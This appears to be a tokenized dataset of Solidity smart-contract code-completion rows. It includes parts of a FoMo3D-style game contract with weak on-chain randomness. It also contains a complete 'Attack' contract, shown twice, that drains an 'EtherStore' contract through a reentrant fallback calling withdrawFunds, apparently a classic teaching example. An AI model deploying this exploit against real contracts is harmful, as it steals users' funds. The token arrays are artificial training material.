uint256 _dust = _gen.sub((_ppt.mul(round_.keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_com = _com.add(_dust);
}
// pay our winner
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
// community rewards
if (!address(monkeyKing).call.value(_com)())
{
_gen = _gen.add(_com);
_com = 0;
}
if (!address(monkeyQueue).call.value(_queen)())
{
_gen = _gen.add(_queen);
_queen = 0;
}
// distribute gen portion to key holders
round_.mask = _ppt.add(round_.mask);
// prepare event data
_eventData_.compressedData = _eventData_.compressedData + (round_.end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.newPot = 0;
return(_eventData_);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(uint256 _pID)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID);
if (_earnings > 0)
{
// put in gen vault
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
// zero out their earnings by updating mask
plyrRnds_[_pID].mask = _earnings.add(plyrRnds_[_pID].mask);
}
}
/**
* @dev updates round timer based on number of whole keys bought.
*/
function updateTimer(uint256 _keys)
private
{
// grab time
uint256 _now = now;
// calculate time based on number of keys bought
uint256 _newTime;
if (_now > round_.end && round_.plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_.end);
// compare to max and set new end time
if (_newTime < (rndMax_).add(_now))
round_.end = _newTime;
else
round_.end = rndMax_.add(_now);
}
/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
/**
* @dev distributes eth based on fees to com, aff, and p3d
*/
function distributeExternal(uint256 _pID, uint256 _eth, uint256 _affID, LDdatasets.EventReturns memory _eventData_)
private
returns(LDdatasets.EventReturns)
{
// pay 15% out to community rewards
uint256 _com = _eth * 15 / 100;
// distribute share to affiliate 25%
uint256 _aff = _eth*25 / 100;
uint256 _toqueen = 0;
// decide what to do with affiliate share of fees
// affiliate must not be self, and must have a name registered
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit MonkeyEvents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _pID, _aff, now);
} else {
// no affiliates, add to community
_com += (_aff*80/100);
_toqueen += (_aff*20/100);
}
if (_toqueen > 0) {
if(!address(monkeyQueue).call.value(_toqueen)()) {
//do nothing
}
}
if (!address(monkeyKing).call.value(_com)())
{
// This ensures Team Just cannot influence the outcome of FoMo3D with
// bank migrations by breaking outgoing transactions.
// Something we would never do. But that's not the point.
// We spent 2000$ in eth re-deploying just to patch this, we hold the
// highest belief that everything we create should be trustless.
// Team JUST, The name you shouldn't have to trust.
}
return(_eventData_);
}
/**
* @dev distributes eth based on fees to gen and pot
*/
function distributeInternal(uint256 _pID, uint256 _eth, uint256 _keys, LDdatasets.EventReturns memory _eventData_)
private
returns(LDdatasets.EventReturns)
{
// calculate gen share
uint256 _gen = (_eth.mul(fees_)) / 100;
// toss 5% into airdrop pot
uint256 _air = (_eth / 20);
airDropPot_ = airDropPot_.add(_air);
// calculate pot (15%)
uint256 _pot = (_eth.mul(15) / 100);
// distribute gen share (thats what updateMasks() does) and adjust
// balances for dust.
uint256 _dust = updateMasks(_pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
// add eth to pot
round_.pot = _pot.add(_dust).add(round_.pot);
// set up event data
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
/**
* @dev updates masks for round and player when keys are bought
* @return dust left over
*/
function updateMasks(uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
/* MASKING NOTES
earnings masks are a tricky thing for people to wrap their minds around.
the basic thing to understand here. is were going to have a global
tracker based on profit per share for each round, that increases in
relevant proportion to the increase in share supply.
the player will have an additional mask that basically says "based
on the rounds mask, my shares, and how much i've already withdrawn,
how much is still owed to me?"
*/
// calc profit per key & round mask based on this buy: (dust goes to pot)
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_.keys);
round_.mask = _ppt.add(round_.mask);
// calculate player earning from their own buy (only based on the keys
// they just bought). & update player earnings mask
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID].mask = (((round_.mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID].mask);
// calculate & return dust
return(_gen.sub((_ppt.mul(round_.keys)) / (1000000000000000000)));
}
/**
* @dev adds up unmasked earnings, & vault earnings, sets them all to 0
* @return earnings in wei format
*/
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
// update gen vault
updateGenVault(_pID);
// from vaults
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
/**
* @dev prepares compression data and fires event for buy or reload tx's
*/
function endTx(uint256 _pID, uint256 _eth, uint256 _keys, LDdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit MonkeyEvents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
/** upon contract deploy, it will be deactivated. this is a one time
* use function that will activate the contract. we do this so devs
* have time to set things up on the web end **/
bool public activated_ = false;
function activate()
public
{
// only owner can activate
// TODO: set owner
require(
msg.sender == 0xb75603Fd0B0E55b283DAC9A9ED516A8a9515e3dB ||
msg.sender == 0x029800F64f16d81FC164319Edb84cf85bFf15e80,
"only owner can activate"
);
// can only be ran once
require(activated_ == false, "dogscam already activated");
// activate the contract
activated_ = true;
round_.strt = now - rndGap_;
round_.end = now + rndInit_;
}
}
//==============================================================================
// __|_ _ __|_ _ .
// _\ | | |_|(_ | _\ .
//==============================================================================
library LDdatasets {
//compressedData key
// [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0]
// 0 - new player (bool)
// 1 - joined round (bool)
// 2 - new leader (bool)
// 3-5 - air drop tracker (uint 0-999)
// 6-16 - round end time
// 17 - winnerTeam
// 18 - 28 timestamp
// 29 - team
// 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico)
// 31 - airdrop happened bool
// 32 - airdrop tier
// 33 - airdrop amount won
//compressedIDs key
// [77-52][51-26][25-0]
// 0-25 - pID
// 26-51 - winPID
// 52-77 - rID
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr; // winner address
bytes32 winnerName; // winner name
uint256 amountWon; // amount won
uint256 newPot; // amount in new pot
uint256 genAmount; // amount distributed to gen
uint256 potAmount; // amount added to pot
}
struct Player {
address addr; // player address
bytes32 name; // player name
uint256 win; // winnings vault
uint256 gen; // general vault
uint256 aff; // affiliate vault
uint256 laff; // last affiliate id used
}
struct PlayerRounds {
uint256 eth; // eth player has added to round (used for eth limiter)
uint256 keys; // keys
uint256 mask; // player mask
}
struct Round {
uint256 plyr; // pID of player in lead
uint256 end; // time ends/ended
bool ended; // has round end function been ran
uint256 strt; // time round started
uint256 keys; // keys
uint256 eth; // total eth in
uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends)
uint256 mask; // global mask
}
}
//==============================================================================
// | _ _ _ | _ .
// |<(/_\/ (_(_||(_ .
//=======/======================================================================
library LDKeysCalc {
using SafeMath for *;
/**
* @dev calculates number of keys received given X eth
* @param _curEth current amount of eth in contract
* @param _newEth eth being spent
* @return amount of ticket purchased
*/
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
/**
* @dev calculates amount of eth received if you sold X keys
* @param _curKeys current amount of keys that exist
* @param _sellKeys amount of keys you wish to sell
* @return amount of eth received
*/
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
/**
* @dev calculates how many keys would exist with given an amount of eth
* @param _eth eth "in contract"
* @return number of keys that would exist
*/
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
/**
* @dev calculates how much eth would be in contract given a number of keys
* @param _keys number of keys "in contract"
* @return eth that would exists
*/
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
/**
* @dev filters name strings
* -converts uppercase to lower case.
* -makes sure it does not start/end with a space
* -makes sure it does not contain multiple spaces in a row
* -cannot be only numbers
* -cannot start with 0x
* -restricts characters to A-Z, a-z, 0-9, and space.
* @return reprocessed string in bytes32 format
*/
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
//sorry limited to 32 characters
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
// make sure it doesnt start with or end with space
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
// make sure first two characters are not 0x
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
// create a bool to track if we have a non number character
bool _hasNonNumber;
// convert & check
for (uint256 i = 0; i < _length; i++)
{
// if its uppercase A-Z
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
// convert to lower case a-z
_temp[i] = byte(uint(_temp[i]) + 32);
// we have a non number
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
// require character is a space
_temp[i] == 0x20 ||
// OR lowercase a-z
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
// or 0-9
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
// make sure theres not 2x spaces in a row
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
// see if we have a character other than a number
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
/**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by Inventor
* - added sqrt
* - added sq
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
} | fired whenever a player registers a name fired at end of buy or reload fired whenever theres a withdraw fired whenever a withdraw forces end round to be ran fired whenever a player tries a buy after round timer hit zero, and causes end round to be ran. fired whenever a player tries a reload after round timer hit zero, and causes end round to be ran. fired whenever an affiliate is paid | contract MonkeyEvents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
| 12,032,638 | [
1,
74,
2921,
17334,
279,
7291,
10285,
279,
508,
15950,
622,
679,
434,
30143,
578,
7749,
15950,
17334,
286,
11737,
279,
598,
9446,
15950,
17334,
279,
598,
9446,
26376,
679,
3643,
358,
506,
18892,
15950,
17334,
279,
7291,
9327,
279,
30143,
1839,
3643,
5441,
6800,
3634,
16,
471,
14119,
679,
3643,
358,
506,
18892,
18,
15950,
17334,
279,
7291,
9327,
279,
7749,
1839,
3643,
5441,
6800,
3634,
16,
471,
14119,
679,
3643,
358,
506,
18892,
18,
15950,
17334,
392,
7103,
330,
3840,
353,
30591,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
9041,
856,
3783,
288,
203,
203,
565,
871,
603,
1908,
461,
203,
565,
261,
203,
3639,
2254,
5034,
8808,
7291,
734,
16,
203,
3639,
1758,
8808,
7291,
1887,
16,
203,
3639,
1731,
1578,
8808,
7291,
461,
16,
203,
3639,
1426,
10783,
12148,
16,
203,
3639,
2254,
5034,
7103,
330,
3840,
734,
16,
203,
3639,
1758,
7103,
330,
3840,
1887,
16,
203,
3639,
1731,
1578,
7103,
330,
3840,
461,
16,
203,
3639,
2254,
5034,
3844,
16507,
350,
16,
203,
3639,
2254,
5034,
18198,
203,
565,
11272,
203,
203,
565,
871,
603,
1638,
4188,
203,
565,
261,
203,
3639,
2254,
5034,
8968,
751,
16,
203,
3639,
2254,
5034,
8968,
5103,
16,
203,
3639,
1731,
1578,
7291,
461,
16,
203,
3639,
1758,
7291,
1887,
16,
203,
3639,
2254,
5034,
13750,
382,
16,
203,
3639,
2254,
5034,
1311,
13809,
9540,
16,
203,
3639,
1758,
5657,
1224,
3178,
16,
203,
3639,
1731,
1578,
5657,
1224,
461,
16,
203,
3639,
2254,
5034,
3844,
59,
265,
16,
203,
3639,
2254,
5034,
394,
18411,
16,
203,
3639,
2254,
5034,
3157,
6275,
16,
203,
3639,
2254,
5034,
5974,
6275,
16,
203,
3639,
2254,
5034,
23350,
7544,
18411,
203,
565,
11272,
203,
203,
565,
871,
603,
1190,
9446,
203,
565,
261,
203,
3639,
2254,
5034,
8808,
7291,
734,
16,
203,
3639,
1758,
7291,
1887,
16,
203,
3639,
1731,
1578,
7291,
461,
16,
203,
3639,
2254,
5034,
13750,
1182,
16,
203,
3639,
2254,
5034,
18198,
203,
565,
11272,
203,
203,
565,
871,
603,
1190,
9446,
1876,
1669,
887,
203,
565,
261,
203,
3639,
1758,
2
]
|
./full_match/5/0xDd075Ee118E993A9C18806561635a5a74974F556/sources/project_/contracts/base/MetawinERC721.sol | Address with minting permissions
| address public minter; | 1,879,265 | [
1,
1887,
598,
312,
474,
310,
4371,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
1758,
1071,
1131,
387,
31,
7734,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.5.0;
import "./EtherStore.sol";
import "@nomiclabs/buidler/console.sol";
contract Attack {
EtherStore private etherStore;
event eventAttackFallBack(
uint256 avlBalance
);
// intialise the etherStore variable with the contract address
constructor(address payable _etherStoreAddress) public {
etherStore = EtherStore(_etherStoreAddress);
console.log("[email protected]::constructor ContBal(%s)", address(this).balance );
}
function debugPrintBalance() public payable {
console.log("[email protected]::debugPrintBalance ContBal(%s)", address(this).balance );
}
function pwnEtherStore() public payable {
console.log("[email protected]::pwnEtherStore Sender(%s)", msg.sender );
console.log("[email protected]::pwnEtherStore Val(%s)", msg.value );
console.log("[email protected]::pwnEtherStore ContBal(%s)", address(this).balance );
etherStore.debugPrintBalance();
emit eventAttackFallBack( address(this).balance );
// attack to the nearest ether
require(msg.value >= 1 ether);
// send eth to the depositFunds() function
etherStore.depositFunds.value(1 ether)();
console.log("[email protected]::pwnEtherStore ContBal(%s)", address(this).balance );
// start the magic
etherStore.withdrawFunds(1 ether);
console.log("[email protected]::pwnEtherStore ContBal(%s)", address(this).balance );
etherStore.debugPrintBalance();
emit eventAttackFallBack( address(this).balance );
}
function collectEther() public {
console.log("[email protected]::collectEther ContBal(%s)", address(this).balance );
msg.sender.transfer(address(this).balance);
}
// fallback function - where the magic happens
function() external payable {
console.log("[email protected]::fallback Ent ContBal(%s)", address(this).balance );
emit eventAttackFallBack( address(this).balance );
if (address(etherStore).balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
console.log("[email protected]::fallback Ext ContBal(%s)", address(this).balance );
}
function withdrawEth() public {
msg.sender.transfer( address(this).balance );
}
}
| intialise the etherStore variable with the contract address | contract Attack {
EtherStore private etherStore;
event eventAttackFallBack(
uint256 avlBalance
);
constructor(address payable _etherStoreAddress) public {
etherStore = EtherStore(_etherStoreAddress);
console.log("[email protected]::constructor ContBal(%s)", address(this).balance );
}
function debugPrintBalance() public payable {
console.log("[email protected]::debugPrintBalance ContBal(%s)", address(this).balance );
}
function pwnEtherStore() public payable {
console.log("[email protected]::pwnEtherStore Sender(%s)", msg.sender );
console.log("[email protected]::pwnEtherStore Val(%s)", msg.value );
console.log("[email protected]::pwnEtherStore ContBal(%s)", address(this).balance );
etherStore.debugPrintBalance();
emit eventAttackFallBack( address(this).balance );
require(msg.value >= 1 ether);
etherStore.depositFunds.value(1 ether)();
console.log("[email protected]::pwnEtherStore ContBal(%s)", address(this).balance );
etherStore.withdrawFunds(1 ether);
console.log("[email protected]::pwnEtherStore ContBal(%s)", address(this).balance );
etherStore.debugPrintBalance();
emit eventAttackFallBack( address(this).balance );
}
function collectEther() public {
console.log("[email protected]::collectEther ContBal(%s)", address(this).balance );
msg.sender.transfer(address(this).balance);
}
function() external payable {
console.log("[email protected]::fallback Ent ContBal(%s)", address(this).balance );
emit eventAttackFallBack( address(this).balance );
if (address(etherStore).balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
console.log("[email protected]::fallback Ext ContBal(%s)", address(this).balance );
}
function() external payable {
console.log("[email protected]::fallback Ent ContBal(%s)", address(this).balance );
emit eventAttackFallBack( address(this).balance );
if (address(etherStore).balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
console.log("[email protected]::fallback Ext ContBal(%s)", address(this).balance );
}
function withdrawEth() public {
msg.sender.transfer( address(this).balance );
}
}
| 7,246,206 | [
1,
474,
649,
784,
326,
225,
2437,
2257,
2190,
598,
326,
6835,
1758,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
6020,
484,
288,
203,
565,
512,
1136,
2257,
3238,
225,
2437,
2257,
31,
203,
203,
565,
871,
871,
3075,
484,
42,
454,
2711,
12,
203,
3639,
2254,
5034,
1712,
80,
13937,
203,
565,
11272,
203,
203,
565,
3885,
12,
2867,
8843,
429,
389,
2437,
2257,
1887,
13,
1071,
288,
203,
3639,
225,
2437,
2257,
273,
512,
1136,
2257,
24899,
2437,
2257,
1887,
1769,
203,
3639,
2983,
18,
1330,
2932,
966,
36,
3075,
484,
18,
18281,
2866,
12316,
1816,
38,
287,
9275,
87,
2225,
16,
1758,
12,
2211,
2934,
12296,
11272,
203,
565,
289,
203,
203,
565,
445,
1198,
5108,
13937,
1435,
1071,
8843,
429,
288,
203,
3639,
2983,
18,
1330,
2932,
966,
36,
3075,
484,
18,
18281,
2866,
4148,
5108,
13937,
1816,
38,
287,
9275,
87,
2225,
16,
1758,
12,
2211,
2934,
12296,
11272,
203,
565,
289,
203,
203,
565,
445,
8772,
82,
41,
1136,
2257,
1435,
1071,
8843,
429,
288,
203,
203,
3639,
2983,
18,
1330,
2932,
966,
36,
3075,
484,
18,
18281,
2866,
14921,
82,
41,
1136,
2257,
15044,
9275,
87,
2225,
16,
1234,
18,
15330,
11272,
203,
3639,
2983,
18,
1330,
2932,
966,
36,
3075,
484,
18,
18281,
2866,
14921,
82,
41,
1136,
2257,
12747,
9275,
87,
2225,
16,
1234,
18,
1132,
11272,
203,
3639,
2983,
18,
1330,
2932,
966,
36,
3075,
484,
18,
18281,
2866,
14921,
82,
41,
1136,
2257,
1816,
38,
287,
9275,
87,
2225,
16,
1758,
12,
2211,
2934,
12296,
11272,
203,
203,
3639,
225,
2437,
2257,
18,
4148,
5108,
13937,
5621,
203,
203,
3639,
3626,
871,
2
]
|
